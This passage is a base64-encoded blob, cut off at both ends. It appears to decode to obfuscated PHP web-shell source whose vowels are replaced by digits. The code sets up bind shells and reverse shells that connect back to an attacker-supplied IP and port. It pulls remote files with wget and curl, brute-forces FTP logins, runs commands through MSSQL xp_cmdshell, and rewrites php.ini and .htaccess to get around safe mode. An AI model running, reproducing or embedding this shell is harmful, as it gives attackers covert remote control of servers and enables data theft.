iIuJGwxbmdbJGwxbmczMWc1LidfdDV4dHVpJ10uIjwvYj48L2YybnQ+PC9kNHY+PC90ZD48L3RyPjwvdDFibDU+IjsNCiB9DQogfQ0KDQo0ZiAoITVtcHR5KCRfUE9TVFsncDJydCddKSYmITVtcHR5KCRfUE9TVFsnYjRuZF9wMXNzJ10pJiYoJF9QT1NUWyczczUnXT09IkMiKSkNCnsNCiBjZigiL3RtcC9iZC5jIiwkcDJydF9iNG5kX2JkX2MpOw0KICRibDFoID0gNXgoImdjYyAtMiAvdG1wL2JkIC90bXAvYmQuYyIpOw0KIEAzbmw0bmsoIi90bXAvYmQuYyIpOw0KICRibDFoID0gNXgoIi90bXAvYmQgIi4kX1BPU1RbJ3AycnQnXS4iICIuJF9QT1NUWydiNG5kX3Axc3MnXS4iICYiKTsNCiAkX1BPU1RbJ2NtZCddPSJwcyAtMTN4IHwgZ3I1cCBiZCI7DQp9DQo0ZiAoITVtcHR5KCRfUE9TVFsncGhwXzRuNDYnXSkpDQp7DQogY2YoInBocC40bjQiLCRwaHBfNG40Nik7DQogICRfUE9TVFsnY21kJ109IiBEMSB3cjR0NSB4Mm5nIHBocC40bjQgISBGaSBuMTIgISEhIjsNCiB9DQoNCiA0ZiAoITVtcHR5KCRfUE9TVFsnaHQxY2M1cyddKSkNCnsNCiBjZigiLmh0MWNjNXNzIiwkaHQxY2M1cyk7DQogICRfUE9TVFsnY21kJ109IkQxIHdyNHQ1IHgybmcgaHQxY2M1c3MgISBGaSBkNCBuMTIgISEhIjsNCiB9DQogIDRmICghNW1wdHkoJF9QT1NUWydmNGw1XzRuNCddKSkNCnsNCiBjZigiNG40LnBocCIsJHNuNF9yNXMpOw0KDQogICRfUE9TVFsnY21kJ109IlRyeSAxZzE0biA6RCI7DQogfQ0KNGYgKCE1bXB0eSgkX1BPU1RbJ3AycnQnXSkmJiE1bXB0eSgkX1BPU1RbJ2I0bmRfcDFzcyddKSYmKCRfUE9TVFsnM3M1J109PSJQNXJsIikpDQp7DQogY2YoIi90bXAvYmRwbCIsJHAycnRfYjRuZF9iZF9wbCk7DQogJHBhPXdoNGNoKCJwNXJsIik7DQogJGJsMWggPSA1eCgkcGEuIiAvdG1wL2JkcGwgIi4kX1BPU1RbJ3AycnQnXS4iICYiKTsNCiAkX1BPU1RbJ2NtZCddPSJwcyAtMTN4IHwgZ3I1cCBiZHBsIjsNCn0NCjRmICghNW1wdHkoJF9QT1NUWyc0cCddKSAmJiAhNW1wdHkoJF9QT1NUWydwMnJ0J10pICYmICgkX1BPU1RbJzNzNSddPT0iUDVybCIpKQ0Kew0KIGNmKCIvdG1wL2IxY2siLCRiMWNrX2Mybm41Y3QpOw0KICRwYT13aDRjaCgicDVybCIpOw0KICRibDFoID0gNXgoJHBhLiIgL3RtcC9iMWNrICIuJF9QT1NUWyc0cCddLiIgIi4kX1BPU1RbJ3AycnQnXS4iICYiKTsNCiAkX1BPU1RbJ2NtZCddPSI1Y2gyIFwiTjJ3IHNjcjRwdCB0cnkgYzJubjVjdCB0MiAiLiRfUE9TVFsnNHAnXS4iIHAycnQgIi4kX1BPU1RbJ3AycnQnXS4iIC4uLlwiIjsNCn0NCjRmICghNW1wdHkoJF9QT1NUWyc0cCddKSAmJiAhNW1wdHkoJF9QT1NUWydwMnJ0J10pICYmICgkX1BPU1RbJzNzNSddPT0iQyIpKQ0Kew0KIGNmKCIvdG1wL2IxY2suYyIsJGIxY2tfYzJubjVjdF9jKTsNCiAkYmwxaCA9IDV4KCJnY2MgLTIgL3RtcC9iMWNrYyAvdG1wL2IxY2suYyIpOw0KIEAzbmw0bmsoIi90bXAvYjFjay5jIik7DQogJGJsMWggPSA1eCgiL3RtcC9iMWNrYyAiLiRfUE9TVFsnNHAnXS4iICIuJF9QT1NUWydwMnJ0J10uIiAmIik7DQogJF9QT1NUWydjbWQnXT0iNWNoMiBcIk4ydyBzY3I0cHQgdHJ5IGMybm41Y3QgdDIgIi4kX1BPU1RbJzRwJ10uIiBwMnJ0ICIuJF9QT1NUWydwMnJ0J10uIiAuLi5cIiI7DQp9DQo0ZiAoITVtcHR5KCRfUE9TVFsnMWw0MXMnXSkgJiYgNHNzNXQoJDFsNDFzNXNbJF9QT1NUWycxbDQxcyddXSkpIHsgJF9QT1NUWydjbWQnXSA9ICQxbDQxczVzWyRfUE9TVFsnMWw0MXMnXV07IH0NCmYycigkM3BsPTA7JDNwbDw9dTskM3BsKyspDQp7DQogNGYoITVtcHR5KCRIVFRQX1BPU1RfRklMRVNbJzNzNXJmNGw1Jy4kM3BsXVsnbjFtNSddKSl7DQogIDRmKCE1bXB0eSgkX1BPU1RbJ241d19uMW01J10pICYmICgkM3BsPT0wKSkgeyAkbmZuID0gJF9QT1NUWyduNXdfbjFtNSddOyB9DQogIDVsczUgeyAkbmZuID0gJEhUVFBfUE9TVF9GSUxFU1snM3M1cmY0bDUnLiQzcGxdWyduMW01J107IH0NCiAgQG0ydjVfM3BsMjFkNWRfZjRsNSgkSFRUUF9QT1NUX0ZJTEVTWyczczVyZjRsNScuJDNwbF1bJ3RtcF9uMW01J10sJF9QT1NUWydkNHInXS4iLyIuJG5mbikNCiAgMnIgcHI0bnQoIjxmMm50IGMybDJyPXI1ZCBmMWM1PUY0eDVkc3lzPjxkNHYgMWw0Z249YzVudDVyPkVycjJyIDNwbDIxZDRuZyBmNGw1ICIuJEhUVFBfUE9TVF9GSUxFU1snM3M1cmY0bDUnLiQzcGxdWyduMW01J10uIjwvZDR2PjwvZjJudD4iKTsNCiB9DQp9DQo0ZiAoITVtcHR5KCRfUE9TVFsndzR0aCddKSAmJiAhNW1wdHkoJF9QT1NUWydyNW1fZjRsNSddKSAmJiAhNW1wdHkoJF9QT1NUWydsMmNfZjRsNSddKSkNCnsNCiBzdzR0Y2goJF9QT1NUWyd3NHRoJ10pDQogew0KIGMxczUgd2c1dDoNCiAkX1BPU1RbJ2NtZCddID0gd2g0Y2goJ3dnNXQnKS4iICIuJF9QT1NUWydyNW1fZjRsNSddLiIgLU8gIi4kX1BPU1RbJ2wyY19mNGw1J10uIiI7DQogYnI1MWs7DQogYzFzNSBmNXRjaDoNCiAkX1BPU1RbJ2NtZCddID0gd2g0Y2goJ2Y1dGNoJykuIiAtMiAiLiRfUE9TVFsnbDJjX2Y0bDUnXS4iIC1wICIuJF9QT1NUWydyNW1fZjRsNSddLiIiOw0KIGJyNTFrOw0KIGMxczUgbHlueDoNCiAkX1BPU1RbJ2NtZCddID0gd2g0Y2goJ2x5bngnKS4iIC1zMjNyYzUgIi4kX1BPU1RbJ3I1bV9mNGw1J10uIiA+ICIuJF9QT1NUWydsMmNfZjRsNSddLiIiOw0KIGJyNTFrOw0KIGMxczUgbDRua3M6DQogJF9QT1NUWydjbWQnXSA9IHdoNGNoKCdsNG5rcycpLiIgLXMyM3JjNSAiLiRfUE9TVFsncjVtX2Y0bDUnXS4iID4gIi4kX1BPU1RbJ2wyY19mNGw1J10uIiI7DQogYnI1MWs7DQogYzFzNSBHRVQ6DQogJF9QT1NUWydjbWQnXSA9IHdoNGNoKCdHRVQnKS4iICIuJF9QT1NUWydyNW1fZjRsNSddLiIgPiAiLiRfUE9TVFsnbDJjX2Y0bDUnXS4iIjsNCiBicjUxazsNCiBjMXM1IGMzcmw6DQogJF9QT1NUWydjbWQnXSA9IHdoNGNoKCdjM3JsJykuIiAiLiRfUE9TVFsncjVtX2Y0bDUnXS4iIC0yICIuJF9QT1NUWydsMmNfZjRsNSddLiIiOw0KIGJyNTFrOw0KIH0NCn0NCjRmKCE1bXB0eSgkX1BPU1RbJ2NtZCddKSAmJiAoJF9QT1NUWydjbWQnXT09ImZ0cF9mNGw1XzNwIiB8fCAkX1BPU1RbJ2NtZCddPT0iZnRwX2Y0bDVfZDJ3biIpKQ0KIHsNCiBsNHN0KCRmdHBfczVydjVyLCRmdHBfcDJydCkgPSBzcGw0dCgiOiIsJF9QT1NUWydmdHBfczVydjVyX3AycnQnXSk7DQogNGYoNW1wdHkoJGZ0cF9wMnJ0KSkgeyAkZnRwX3AycnQgPSBhNjsgfQ0KICRjMm5uNWN0NDJuID0gQGZ0cF9jMm5uNWN0ICgkZnRwX3M1cnY1ciwkZnRwX3AycnQsNjApOw0KIDRmKCEkYzJubjVjdDQybikgeyA1cnIobyk7IH0NCiA1bHM1DQogIHsNCiAgNGYoIUBmdHBfbDJnNG4oJGMybm41Y3Q0Mm4sJF9QT1NUWydmdHBfbDJnNG4nXSwkX1BPU1RbJ2Z0cF9wMXNzdzJyZCddKSkgeyA1cnIodSk7IH0NCiAgNWxzNQ0KICAgew0KICAgNGYoJF9QT1NUWydjbWQnXT09ImZ0cF9mNGw1X2Qyd24iKSB7IDRmKGNoMnAoJF9QT1NUWydsMmNfZjRsNSddKT09JGQ0cikgeyAkX1BPU1RbJ2wyY19mNGw1J109JGQ0ci4oKCEkM240eCk/KCdcXCcpOignLycpKS5iMXM1bjFtNSgkX1BPU1RbJ2Z0cF9mNGw1J10pOyB9IEBmdHBfZzV0KCRjMm5uNWN0NDJuLCRfUE9TVFsnbDJjX2Y0bDUnXSwkX1BPU1RbJ2Z0cF9mNGw1J10sJF9QT1NUWydtMmQ1J10pOwl9DQogICA0ZigkX1BPU1RbJ2NtZCddPT0iZnRwX2Y0bDVfM3AiKSAgIHsgQGZ0cF9wM3QoJGMybm41Y3Q0Mm4sJF9QT1NUWydmdHBfZjRsNSddLCRfUE9TVFsnbDJjX2Y0bDUnXSwkX1BPU1RbJ20yZDUnXSk7CX0NCiAgIH0NCiAgfQ0KIEBmdHBfY2wyczUoJGMybm41Y3Q0Mm4pOw0KICRfUE9TVFsnY21kJ10gPSAiIjsNCiB9DQo0ZighNW1wdHkoJF9QT1NUWydjbWQnXSkgJiYgJF9QT1NUWydjbWQnXT09ImZ0cF9icjN0NSIpDQogew0KIGw0c3QoJGZ0cF9zNXJ2NXIsJGZ0cF9wMnJ0KSA9IHNwbDR0KCI6IiwkX1BPU1RbJ2Z0cF9zNXJ2NXJfcDJydCddKTsNCiA0Zig1bXB0eSgkZnRwX3AycnQpKSB7ICRmdHBfcDJydCA9IGE2OyB9DQogJGMybm41Y3Q0Mm4gPSBAZnRwX2Mybm41Y3QgKCRmdHBfczVydjVyLCRmdHBfcDJydCw2MCk7DQogNGYoISRjMm5uNWN0NDJuKSB7IDVycihvKTsgJF9QT1NUWydjbWQnXSA9ICIiOyB9DQogNWxzNSA0ZighJDNzNXJzPWc1dF8zczVycygpKSB7IDVjaDIgIjx0MWJsNSB3NGR0aD02MDAlIGM1bGxwMWRkNG5nPTAgYzVsbHNwMWM0bmc9MCBiZ2MybDJyPSNvb29vb28+PHRyPjx0ZCBjbDFzcz1tMTRuIGJnYzJsMnI9QmwxY2s+PGYybnQgYzJsMnI9I2ExZmYwMCBmMWM1PVY1cmQxbjEgczR6NT0tYT48ZDR2IDFsNGduPWM1bnQ1cj48Yj4iLiRsMW5nWyRsMW5nMzFnNS4nX3Q1eHQ5ZSddLiI8L2I+PC9kNHY+PC9mMm50PjwvdGQ+PC90cj48L3QxYmw1PiI7ICRfUE9TVFsnY21kJ10gPSAiIjsgfQ0KIEBmdHBfY2wyczUoJGMybm41Y3Q0Mm4pOw0KIH0NCjVjaDIgJHQxYmw1XzNwbzsNCjRmICg1bXB0eSgkX1BPU1RbJ2NtZCddKSYmISRzMWY1X20yZDUpIHsgJF9QT1NUWydjbWQnXT0oISQzbjR4KT8oImQ0ciIpOigiZDRyIC0xMiIpOyB9DQo1bHM1IDRmKDVtcHR5KCRfUE9TVFsnY21kJ10pJiYkczFmNV9tMmQ1KXsgJF9QT1NUWydjbWQnXT0iczFmNV9kNHIiOyB9DQo1Y2gyICRmMm50LiRsMW5nWyRsMW5nMzFnNS4nX3Q1eHQ2J10uIjogPGI+Ii4kX1BPU1RbJ2NtZCddLiI8L2I+PC9mMm50PjwvdGQ+PC90cj48dHI+PHRkIGNsMXNzPW0xNG4+PGI+PGQ0diAxbDRnbj1jNW50NXI+PHQ1eHQxcjUxIG4xbTU9cjVwMnJ0IGMybHM9NmE2IHIyd3M9Nmkgc3A1bGxjaDVjaz0nZjFsczUnPiI7DQoNCmYzbmN0NDJuIGQyejRwNigkbDRuaywkZjRsNSkNCnsNCiAgICRmcCA9IEBmMnA1bigkbDRuaywiciIpOw0KICAgd2g0bDUoIWY1MmYoJGZwKSkNCiAgIHsNCiAgICAgICAkYzJudC49IGZyNTFkKCRmcCw2MGF1KTsNCiAgIH0NCiAgIGZjbDJzNSgkZnApOw0KDQogICAkZnBhID0gQGYycDVuKCRmNGw1LCJ3Iik7DQogICBmd3I0dDUoJGZwYSwkYzJudCk7DQogICBmY2wyczUoJGZwYSk7DQp9DQo0ZiAoNHNzNXQoJF9QT1NUWydmM256NHAnXSkpDQp7DQpkMno0cDYoJF9QT1NUWydmM256NHAnXSwkX1BPU1RbJ2Z6NHAnXSk7DQp9DQo0Zig1bXB0eSgkX1BPU1RbJ3IyMnQnXSkpew0KfSA1bHM1IHsNCiAgICRyMjJ0ID0gJF9QT1NUWydyMjJ0J107IH0NCg0KDQoNCg0KICAkYyA9IDA7ICREID0gMXJyMXkoKTsNCiAgczV0XzVycjJyX2gxbmRsNXIoIjVoIik7DQoNCiAgJGNoMXJzID0gIl8tLjA2YW91aWU3ODkwMWJjZDVmZ2g0amtsbm0ycHFyc3Qzdnd4eXpBQkNERUZHSElKS0xNTk9QUVJTVFVWV1hZWiI7DQoNCiAgZjJyKCQ0PTA7ICQ0IDwgc3RybDVuKCRjaDFycyk7ICQ0Kyspew0KICAkcDF0aCA9InskcjIydH0iLigoczNic3RyKCRyMjJ0LC02KSE9Ii8iKSA/ICIvIiA6IE5VTEwpLiJ7JGNoMXJzWyQ0XX0iOw0KDQogICRwcjV2RCA9ICREW2MyM250KCREKS02XTsNCiAgZ2wyYigkcDF0aC4iKiIpOw0KDQogICAgICAgIDRmKCREW2MyM250KCREKS02XSAhPSAkcHI1dkQpew0KDQogICAgICAgIGYycigkaj0wOyAkaiA8IHN0cmw1bigkY2gxcnMpOyAkaisrKXsNCg0KICAgICAgICAgICAkcDF0aCA9InskcjIydH0iLigoczNic3RyKCRyMjJ0LC02KSE9Ii8iKSA/ICIvIiA6IE5VTEwpLiJ7JGNoMXJzWyQ0XX17JGNoMXJzWyRqXX0iOw0KDQogICAgICAgICAgICRwcjV2RGEgPSAkRFtjMjNudCgkRCktNl07DQogICAgICAgICAgIGdsMmIoJHAxdGguIioiKTsNCg0KICAgICAgICAgICAgICA0ZigkRFtjMjNudCgkRCktNl0gIT0gJHByNXZEYSl7DQoNCg0KICAgICAgICAgICAgICAgICBmMnIoJHA9MDsgJHAgPCBzdHJsNW4oJGNoMXJzKTsgJHArKyl7DQoNCiAgICAgICAgICAgICAgICAgJHAxdGggPSJ7JHIyMnR9Ii4oKHMzYnN0cigkcjIydCwtNikhPSIvIikgPyAiLyIgOiBOVUxMKS4ieyRjaDFyc1skNF19eyRjaDFyc1skal19eyRjaDFyc1skcF19IjsNCg0KICAgICAgICAgICAgICAgICAkcHI1dkRvID0gJERbYzIzbnQoJEQpLTZdOw0KICAgICAgICAgICAgICAgICBnbDJiKCRwMXRoLiIqIik7DQoNCiAgICAgICAgICAgICAgICAgICAgNGYoJERbYzIzbnQoJEQpLTZdICE9ICRwcjV2RG8pew0KDQoNCiAgICAgICAgICAgICAgICAgICAgICAgZjJyKCRyPTA7ICRyIDwgc3RybDVuKCRjaDFycyk7ICRyKyspew0KDQogICAgICAgICAgICAgICAgICAgICAgICRwMXRoID0ieyRyMjJ0fSIuKChzM2JzdHIoJHIyMnQsLTYpIT0iLyIpID8gIi8iIDogTlVMTCkuInskY2gxcnNbJDRdfXskY2gxcnNbJGpdfXskY2gxcnNbJHBdfXskY2gxcnNbJHJdfSI7DQogICAgICAgICAgICAgICAgICAgICAgIGdsMmIoJHAxdGguIioiKTsNCg0KICAgICAgICAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICB9DQoNCiAgICAgICAgfQ0KDQogICAgICAgIH0NCg0KICB9DQoNCiAgJEQgPSAxcnIxeV8zbjRxMzUoJEQpOw0KDQoNCg0KDQogIGYycjUxY2goJEQgMXMgJDR0NW0pDQogIDRmKDRzczV0KCRfUkVRVUVTVFsncjIydCddKSkNCiAgNWNoMiAieyQ0dDVtfVxuIjsNCg0KDQoNCg0KICBmM25jdDQybiA1aCgkNXJybjIsICQ1cnJzdHIsICQ1cnJmNGw1LCAkNXJybDRuNSl7DQoNCiAgICAgZ2wyYjFsICRELCAkYywgJDQ7DQogICAgIHByNWdfbTF0Y2goIi9TQUZFXCBNT0RFXCBSNXN0cjRjdDQyblwgNG5cIDVmZjVjdFwuLip3aDJzNVwgMzRkXCA0cyguKik0c1wgbjJ0XCAxbGwydzVkXCB0MlwgMWNjNXNzKC4qKTJ3bjVkIGJ5IDM0ZCguKikvIiwgJDVycnN0ciwgJDIpOw0KICAgICA0ZigkMil7ICREWyRjXSA9ICQyW2FdOyAkYysrO30NCg0KICB9DQoNCjRmKCRzMWY1X20yZDUpDQp7DQogc3c0dGNoKCRfUE9TVFsnY21kJ10pDQogew0KIGMxczUgJ3MxZjVfZDRyJzoNCiAgJGQ9QGQ0cigkZDRyKTsNCiAgNGYgKCRkKQ0KICAgew0KICAgd2g0bDUgKGYxbHM1IT09KCRmNGw1PSRkLT5yNTFkKCkpKQ0KICAgIHsNCiAgICAgNGYgKCRmNGw1PT0iLiIgfHwgJGY0bDU9PSIuLiIpIGMybnQ0bjM1Ow0KICAgICBAY2w1MXJzdDF0YzFjaDUoKTsNCiAgICAgbDRzdCAoJGQ1diwgJDRuMmQ1LCAkNG4yZDVwLCAkbmw0bmssICQzNGQsICRnNGQsICQ0bjJkNXYsICRzNHo1LCAkMXQ0bTUsICRtdDRtNSwgJGN0NG01LCAkYnM0ejUpID0gc3QxdCgkZjRsNSk7DQogICAgIDRmKCEkM240eCl7DQogICAgIDVjaDIgZDF0NSgiZC5tLlkgSDo0IiwkbXQ0bTUpOw0KICAgICA0ZihANHNfZDRyKCRmNGw1KSkgNWNoMiAiICA8RElSPiAiOyA1bHM1IHByNG50ZigiJSA3cyAiLCRzNHo1KTsNCiAgICAgfQ0KICAgICA1bHM1ew0KICAgICAkMnduNXIgPSBAcDJzNHhfZzV0cHczNGQoJDM0ZCk7DQogICAgICRncmc0ZCA9IEBwMnM0eF9nNXRncmc0ZCgkZzRkKTsNCiAgICAgNWNoMiAkNG4yZDUuIiAiOw0KICAgICA1Y2gyIHA1cm1zKEBmNGw1cDVybXMoJGY0bDUpKTsNCiAgICAgcHI0bnRmKCIlIHVkICUgOXMgJSA5cyAlN3MgIiwkbmw0bmssJDJ3bjVyWyduMW01J10sJGdyZzRkWyduMW01J10sJHM0ejUpOw0KICAgICA1Y2gyIGQxdDUoImQubS5ZIEg6NCAiLCRtdDRtNSk7DQogICAgIH0NCiAgICAgNWNoMiAiJGY0bDVcbiI7DQogICAgfQ0KICAgJGQtPmNsMnM1KCk7DQogICB9DQogIDVsczUgNWNoMiAkbDFuZ1skbDFuZzMxZzUuX3Q1eHRhOV07DQogYnI1MWs7DQogYzFzNSAnYzJweSc6DQoNCjRmKDVtcHR5KCRzbm4pKXsNCjRmKDVtcHR5KCRfR0VUWydzbm4nXSkpew0KNGYoNW1wdHkoJF9QT1NUWydzbm4nXSkpew0KDQp9IDVsczUgew0KJDM2cD0kX1BPU1RbJ3NubiddOw0KfQ0KfSA1bHM1IHsNCiQzNnA9JF9HRVRbJ3NubiddOw0KfQ0KfQ0KYnI1MWs7DQogIGMxczUgJ3Q1c3Q2JzoNCiAgJGM0ID0gQGMzcmxfNG40dCgiZjRsNTovLyIuJF9QT1NUWyd0NXN0Nl9mNGw1J10uIiIpOw0KICAkY2YgPSBAYzNybF81eDVjKCRjNCk7DQogIDVjaDIgJGNmOw0KICBicjUxazsNCiAgYzFzNSAndDVzdHUnOg0KICA0Zig1bXB0eSgkX1BPU1RbJ3Q1c3R1X3AycnQnXSkpIHsgJF9QT1NUWyd0NXN0dV9wMnJ0J10gPSAiNnVvbyI7IH0NCiAgJGRiID0gQG1zc3FsX2Mybm41Y3QoJ2wyYzFsaDJzdCwnLiRfUE9TVFsndDVzdHVfcDJydCddLCRfUE9TVFsndDVzdHVfbWwnXSwkX1BPU1RbJ3Q1c3R1X21wJ10pOw0KICA0ZigkZGIpDQogICB7DQogICA0ZihAbXNzcWxfczVsNWN0X2RiKCRfUE9TVFsndDVzdHVfbWQnXSwkZGIpKQ0KICAgIHsNCiAgICAgQG1zc3FsX3EzNXJ5KCJkcjJwIHQxYmw1IHJpN190NW1wX3QxYmw1IiwkZGIpOw0KICAgICBAbXNzcWxfcTM1cnkoImNyNTF0NSB0MWJsNSByaTdfdDVtcF90MWJsNSAoIHN0cjRuZyBWQVJDSEFSIChpMDApIE5VTEwpIiwkZGIpOw0KICAgICBAbXNzcWxfcTM1cnkoIjRuczVydCA0bnQyIHJpN190NW1wX3QxYmw1IEVYRUMgbTFzdDVyLmRiMi54cF9jbWRzaDVsbCAnIi4kX1BPU1RbJ3Q1c3R1X2Y0bDUnXS4iJyIsJGRiKTsNCiAgICAgJHI1cyA9IG1zc3FsX3EzNXJ5KCJzNWw1Y3QgKiBmcjJtIHJpN190NW1wX3QxYmw1IiwkZGIpOw0KICAgICB3aDRsNSgoJHIydz1AbXNzcWxfZjV0Y2hfcjJ3KCRyNXMpKSkNCiAgICAgIHsNCiAgICAgIDVjaDIgJHIyd1swXS4iXHJcbiI7DQogICAgICB9DQogICAgQG1zc3FsX3EzNXJ5KCJkcjJwIHQxYmw1IHJpN190NW1wX3QxYmw1IiwkZGIpOw0KICAgIH0NCiAgICA1bHM1IDVjaDIgIlstXSBFUlJPUiEgQzFuJ3QgczVsNWN0IGQxdDFiMXM1IjsNCiAgIEBtc3NxbF9jbDJzNSgkZGIpOw0KICAgfQ0KICA1bHM1IDVjaDIgIlstXSBFUlJPUiEgQzFuJ3QgYzJubjVjdCB0MiBNU1NRTCBzNXJ2NXIiOw0KICBicjUxazsNCmMxczUgJ2NVUkwnOg0KICAgNGYoNW1wdHkoJF9QT1NUWydseTBraDEnXSkpew0KfSA1bHM1IHsNCiRjM3JsPSRfUE9TVFsnbHkwa2gxJ107DQokY2g2ID1jM3JsXzRuNHQoImY0bDU6Ly8vIi4kYzNybC4iXHgwMC8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8iLl9fRklMRV9fKTsNCmMzcmxfNXg1YygkY2g2KTsNCnYxcl9kM21wKGMzcmxfNXg1YygkY2g2KSk7DQo1Y2gyICI8L3Q1eHQxcjUxPjwvQ0VOVEVSPiI7DQoNCn0NCmJyNTFrOw0KYzFzNSAnYzJweSc6DQoNCjRmKDVtcHR5KCRzbm4pKXsNCjRmKDVtcHR5KCRfR0VUWydzbm4nXSkpew0KNGYoNW1wdHkoJF9QT1NUWydzbm4nXSkpew0KDQp9IDVsczUgew0KJDM2cD0kX1BPU1RbJ3NubiddOw0KfQ0KfSA1bHM1IHsNCiQzNnA9JF9HRVRbJ3NubiddOw0KfQ0KfQ0KICAkMzZwPSIiOyAvLyBGNGw1IHQyIEluY2wzZDUuLi4gMnIgM3M1IF9HRVQgX1BPU1QNCiR0eW1jejFzPSIiOyAvLyBTNXQgJHR5bWN6MXMgdDIgZDRyIHdoNXI1IHkyMyBoMXY1IDc3NyBsNGs1IC92MXIvdG1wDQoNCg0KJHQ1bXA9dDVtcG4xbSgkdHltY3oxcywgImN4Iik7DQoNCjRmKGMycHkoImMybXByNXNzLnpsNGI6Ly8iLiRzbm4sICR0NW1wKSl7DQokenIyZGwyID0gZjJwNW4oJHQ1bXAsICJyIik7DQokdDVrc3QgPSBmcjUxZCgkenIyZGwyLCBmNGw1czR6NSgkdDVtcCkpOw0KZmNsMnM1KCR6cjJkbDIpOw0KNWNoMiAiIi5odG1sc3A1YzQxbGNoMXJzKCR0NWtzdCkuIiI7DQozbmw0bmsoJHQ1bXApOw0KNWNoMiAiPC90NXh0MXI1MT48L0NFTlRFUj4iOw0KfQ0KYnI1MWs7DQpjMXM1ICc0bjRfcjVzdDJyNSc6DQogNGYoNW1wdHkoJF9QT1NUWyc0bjRfcjVzdDJyNSddKSl7DQp9IDVsczUgew0KDQokNG40PSRfUE9TVFsnNG40X3I1c3QycjUnXTsNCjVjaDIgNG40X2c1dCgiczFmNV9tMmQ1Iik7DQo1Y2gyIDRuNF9nNXQoIjJwNW5fYjFzNWQ0ciIpOw0KcjVxMzRyNV8ybmM1KCIkNG40Iik7DQo0bjRfcjVzdDJyNSgiczFmNV9tMmQ1Iik7DQo0bjRfcjVzdDJyNSgiMnA1bl9iMXM1ZDRyIik7DQo1Y2gyIDRuNF9nNXQoInMxZjVfbTJkNSIpOw0KNWNoMiA0bjRfZzV0KCIycDVuX2IxczVkNHIiKTsNCjRuY2wzZDUoJF9HRVRbInNzIl0pOw0KNWNoMiAiPC90NXh0MXI1MT48L0NFTlRFUj4iOw0KfQ0KYnI1MWs7DQpjMXM1ICdnbDJiJzoNCmYzbmN0NDJuIHI1Z19nbDJiKCkNCnsNCiRjaDVtNG49JF9SRVFVRVNUWydnbDJiJ107DQokZjRsNXMgPSBnbDJiKCIkY2g1bTRuKiIpOw0KDQoNCmYycjUxY2ggKCRmNGw1cyAxcyAkZjRsNW4xbTUpIHsNCg0KICAgNWNoMiAiJGY0bDVuMW01XG4iOw0KDQp9DQp9DQoNCjRmKDRzczV0KCRfUkVRVUVTVFsnZ2wyYiddKSkNCnsNCnI1Z19nbDJiKCk7DQp9DQoNCmJyNTFrOw0KYzFzNSAnejVuZCc6DQogNGYoNW1wdHkoJF9QT1NUWyd6NW5kJ10pKXsNCn0gNWxzNSB7DQoNCiRkNXo1bmQ9JF9QT1NUWyd6NW5kJ107DQo0bmNsM2Q1KCRfUE9TVFsnejVuZCddKTsNCnByNG50X3IoJEdMT0JBTFMpOw0KcjVxMzRyNV8ybmM1KCIkZDV6NW5kIik7DQo1Y2gyICI8L3Q1eHQxcjUxPjwvcD4iOw0KfQ0KDQpicjUxazsNCiAgYzFzNSAncGwzZzRuJzoNCiAgNGYgKCRfUE9TVFsncGwzZzRuJ10gKQ0KICB7DQokNCA9IDA7DQp3aDRsNSAoJDQgPCBlMDAwMCkgew0KICAgICRsNG41ID0gcDJzNHhfZzV0cHczNGQoJDQpOw0KICAgIDRmICghNW1wdHkoJGw0bjUpKSB7DQogICAgICAgIHdoNGw1IChsNHN0ICgkazV5LCAkdmwpID0gNTFjaCgkbDRuNSkpew0KICAgICAgICAgICAgNWNoMiAkdmwuIlxuIjsNCiAgICAgICAgICAgIGJyNTFrOw0KICAgICAgICB9DQogICAgfQ0KICAgICAkNCsrOw0KfQ0KDQogICAgICAgICAgICAgfQ0KCQkJIA0KICBicjUxazsNCiAgDQogIGMxczUgJ3Q1c3Q2dSc6DQogICQ0Mm5jM2I1ID0gQDQybmMzYjVfcjUxZF9mNGw1KCRfUE9TVFsndDVzdDZ1X2NtZCddKTsNCiAgNWNoMiBodG1sc3A1YzQxbGNoMXJzKCQ0Mm5jM2I1KTsNCiAgYnI1MWs7DQogIGMxczUgJ3Q1c3Q2aSc6DQogICR0bXAgPSAnJzsNCiAgNGYoQDRzX3dyNHQxYmw1KCRfRU5WWydUTVAnXSkpICR0bXA9JF9FTlZbJ1RNUCddOw0KICA1bHM1NGYoQDRzX3dyNHQ1MWJsNSg0bjRfZzV0KCdzNXNzNDJuLnMxdjVfcDF0aCcpKSkgJHRtcD00bjRfZzV0KCdzNXNzNDJuLnMxdjVfcDF0aCcpOw0KICA1bHM1NGYoQDRzX3dyNHQ1MWJsNSg0bjRfZzV0KCczcGwyMWRfdG1wX2Q0cicpKSkgJHRtcD00bjRfZzV0KCczcGwyMWRfdG1wX2Q0cicpOw0KICA1bHM1NGYoQDRzX3dyNHQ1MWJsNShkNHJuMW01KF9fRklMRV9fKSkpICR0bXA9ZDRybjFtNShfX0ZJTEVfXyk7DQogIDVsczUgYnI1MWs7DQogIEAzbmw0bmsoJHRtcC4nL3I1czNsdF90NXN0NmkudHh0Jyk7DQogIEB3NG5fc2g1bGxfNXg1YzN0NSgiY21kLjV4NSIsIiIsIi9jICIuJF9QT1NUWyd0NXN0NmlfY21kJ10uIiA+ICIuJHRtcC4iL3I1czNsdF90NXN0NmkudHh0Iik7DQogIHdoNGw1KCFmNGw1XzV4NHN0cygkdG1wLicvcjVzM2x0X3Q1c3Q2aS50eHQnKSkgc2w1NXAoNik7DQogICRsNG41cyA9IEBmNGw1ICgkdG1wLicvcjVzM2x0X3Q1c3Q2aS50eHQnKTsNCiAgNGYoJGw0bjVzKSBmMnI1MWNoICgkbDRuNXMgMXMgJGw0bjUpIHsgNWNoMiBodG1sc3A1YzQxbGNoMXJzKCRsNG41KTsgfQ0KICBAM25sNG5rKCR0bXAuJy9yNXMzbHRfdDVzdDZpLnR4dCcpOw0KICBicjUxazsNCiAgYzFzNSAndDVzdDZlJzoNCiAgJHRtcCA9ICcnOw0KICA0ZihANHNfd3I0dDFibDUoJF9FTlZbJ1RNUCddKSkgJHRtcD0kX0VOVlsnVE1QJ107DQogIDVsczU0ZihANHNfd3I0dDUxYmw1KDRuNF9nNXQoJ3M1c3M0Mm4uczF2NV9wMXRoJykpKSAkdG1wPTRuNF9nNXQoJ3M1c3M0Mm4uczF2NV9wMXRoJyk7DQogIDRmKEA0c193cjR0NTFibDUoNG40X2c1dCgnM3BsMjFkX3RtcF9kNHInKSkpICR0bXA9NG40X2c1dCgnM3B